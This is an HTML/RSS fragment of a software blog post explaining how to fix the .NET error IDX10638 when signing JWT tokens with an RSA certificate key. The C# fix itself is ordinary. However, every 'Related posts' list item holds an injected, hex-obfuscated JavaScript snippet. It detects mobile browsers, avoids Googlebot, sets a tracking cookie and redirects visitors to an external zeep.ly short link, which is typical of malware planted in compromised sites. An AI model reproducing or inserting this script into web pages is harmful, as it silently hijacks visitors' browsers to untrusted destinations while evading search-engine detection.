Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/08/21/c-understanding-close_wait-and-fin_wait_2/" rel="bookmark" title="C#: Understanding CLOSE_WAIT and FIN_WAIT_2">C#: Understanding CLOSE_WAIT and FIN_WAIT_2 </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2013/02/18/sybase-access-the-database-with-c-using-odbc/" rel="bookmark" title="Sybase: Access the database with C# using ODBC">Sybase: Access the database with C# using ODBC </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/03/05/c-get-element-type-enumerable-reflection/" rel="bookmark" title="C#: Get the element type of an enumerable through reflection">C#: Get the element type of an enumerable through reflection </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<p>After updating the Microsoft.IdentityModel.Tokens library we were getting the following error message when creating JWT tokens:</p>
<blockquote><p>System.InvalidOperationException<br />
HResult=0x80131509<br />
Message=IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey.<br />
Source=Microsoft.IdentityModel.Tokens<br />
StackTrace:<br />
at Microsoft.IdentityModel.Tokens.AsymmetricSignatureProvider..ctor(SecurityKey key, String algorithm, Boolean willCreateSignatures)<br />
at Microsoft.IdentityModel.Tokens.CryptoProviderFactory.CreateSignatureProvider(SecurityKey key, String algorithm, Boolean willCreateSignatures)<br />
at Microsoft.IdentityModel.Tokens.CryptoProviderFactory.CreateForSigning(SecurityKey key, String algorithm)<br />
at System.IdentityModel.Tokens.Jwt.JwtSecurityTokenHandler.CreateEncodedSignature(String input, SigningCredentials signingCredentials)<br />
at System.IdentityModel.Tokens.Jwt.JwtSecurityTokenHandler.WriteToken(SecurityToken token)</p></blockquote>
<p>The code where this happened looked like this and was working fine before the update:</p>
<pre><code class="language-csharp">var buffer = Convert.FromBase64String(Base64Cert);
var signingCertificate = new X509Certificate2(buffer, CertificatePassword);

var identity = new ClaimsIdentity(Claims);
var data = new AuthenticationTicket(identity, null);

if (signingCertificate.PrivateKey is RSACryptoServiceProvider rsaProvider)
{
	var key = new RsaSecurityKey(rsaProvider);
	var signingCredentials = new SigningCredentials(key, SecurityAlgorithms.RsaSha256Signature);

	var token = new JwtSecurityToken(
		issuer: TokenIssuer,
		audience: TokenAudience,
		claims: data.Identity.Claims,
		notBefore: DateTime.UtcNow,
		expires: DateTime.UtcNow.AddMinutes(TokenValidityInMinutes),
		signingCredentials: signingCredentials
	);

	var tokenString = new JwtSecurityTokenHandler().WriteToken(token);
	Console.WriteLine(tokenString);
}
else
{
	Console.Error.WriteLine("signingCertificate.PrivateKey is not an RSACryptoServiceProvider");
}
</code></pre>
<p>Debugging the code, I saw that signingCertificate.HasPrivateKey was true but key.HasPrivateKey was false</p>
<p>In order to solve it, two small changes were required:</p>
<ol>
<li>Add a keyStorageFlags parameter to the X509Certificate2 constructor so that the imported keys are marked as exportable</li>
<li>Use the ExportParameters method to retrieve the raw RSA key in the form of an RSAParameters structure including private parameters.</li>
</ol>
<p>So using the following code worked without exception:</p>
<pre><code class="language-csharp">var buffer = Convert.FromBase64String(Base64Cert);
var signingCertificate = new X509Certificate2(buffer, CertificatePassword, X509KeyStorageFlags.Exportable);

var identity = new ClaimsIdentity(Claims);
var data = new AuthenticationTicket(identity, null);

if (signingCertificate.PrivateKey is RSACryptoServiceProvider rsaProvider)
{
	var key = new RsaSecurityKey(rsaProvider.ExportParameters(true));
	var signingCredentials = new SigningCredentials(key, SecurityAlgorithms.RsaSha256Signature);

	var token = new JwtSecurityToken(
		issuer: TokenIssuer,
		audience: TokenAudience,
		claims: data.Identity.Claims,
		notBefore: DateTime.UtcNow,
		expires: DateTime.UtcNow.AddMinutes(TokenValidityInMinutes),
		signingCredentials: signingCredentials
	);

	var tokenString = new JwtSecurityTokenHandler().WriteToken(token);
	Console.WriteLine(tokenString);
}
else
{
	Console.Error.WriteLine("signingCertificate.PrivateKey is not an RSACryptoServiceProvider");
}
</code></pre>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/&amp;t=IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey." target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/&amp;text=IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey." target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/&amp;title=IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey." target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/">IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey.</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| 